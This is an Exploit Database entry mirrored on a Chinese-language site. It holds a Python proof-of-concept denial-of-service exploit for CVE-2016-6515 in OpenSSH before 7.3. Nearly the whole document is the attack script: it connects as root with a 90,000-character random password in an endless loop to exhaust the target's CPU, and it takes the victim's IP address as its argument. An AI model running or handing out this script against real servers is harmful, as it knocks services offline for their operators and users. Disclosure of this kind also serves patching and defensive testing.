OpenSSH 7.2 – Denial of Service

• Exploit Database
• 13 阅读

• 作者： SecPod Research
  日期： 2016-12-07
• 类别：

  • dos
  平台：

  • linux
• 来源：https://www.exploit-db.com/exploits/40888/

• ################################################################################
  # Title		: OpenSSH before 7.3 Crypt CPU Consumption (DoS Vulnerability)
  # Author	: Kashinath T (tkashinath@secpod.com) (www.secpod.com)
  # Vendor	: http://www.openssh.com/
  # Software	: http://www.openssh.com/
  # Version	: OpenSSH before 7.3
  # Tested on	: Ubuntu 16.04 LTS, Centos 7
  # CVE 		: CVE-2016-6515
  # Date		: 20-10-2016
  #
  # NOTE:
  # If the remote machine is installed and running OpenSSH version prior to 7.3,
  # it does not limit the password length for authentication. Hence, to exploit
  # this vulnerability' we will send a crafted data which is of 90000 characters
  # in length to the 'password' field while attempting to log in to a remote
  # machine via ssh with username as 'root'.
  #
  # For more info refer,
  # http://www.secpod.com/blog/openssh-crypt-cpu-consumption
  ################################################################################
  
  import sys
  from random import choice
  from string import lowercase
  
  try:
  import paramiko
  except ImportError:
  print "[-] python module 'paramiko' is missing, Install paramiko with" \
  " following command 'sudo pip install paramiko'"
  sys.exit(0)
  
  
  class ssh_exploit:
  
  def __init__(self):
  """
  Initialise the objects
  """
  
  def ssh_login(self, remote_ip):
  
  try:
  # Crafted password of length 90000
  passwd_len = 90000
  crafted_passwd = "".join(choice(lowercase)
   for i in range(passwd_len))
  
  # Connect to a remote machine via ssh
  ssh = paramiko.SSHClient()
  ssh.load_system_host_keys()
  ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
  
  # calling connect in infinite loop
  print "[+] Entering infinite loop"
  while 1:
  ssh.connect(remote_ip, username='root',
  password=crafted_passwd)
  
  except Exception, msg:
  print "Error in connecting to remote host : ", remote_ip
  print "Exception in : ssh_login method."
  sys.exit(msg)
  
  
  def main():
  
  if len(sys.argv) != 2:
  print "usage: python openssh_crypt_cpu_consumption_dos.py 192.168.x.x"
  sys.exit()
  
  # Calling ssh_connect
  ref_obj = ssh_exploit()
  ref_obj.ssh_login(sys.argv[1])
  
  
  if __name__ == "__main__":
  main()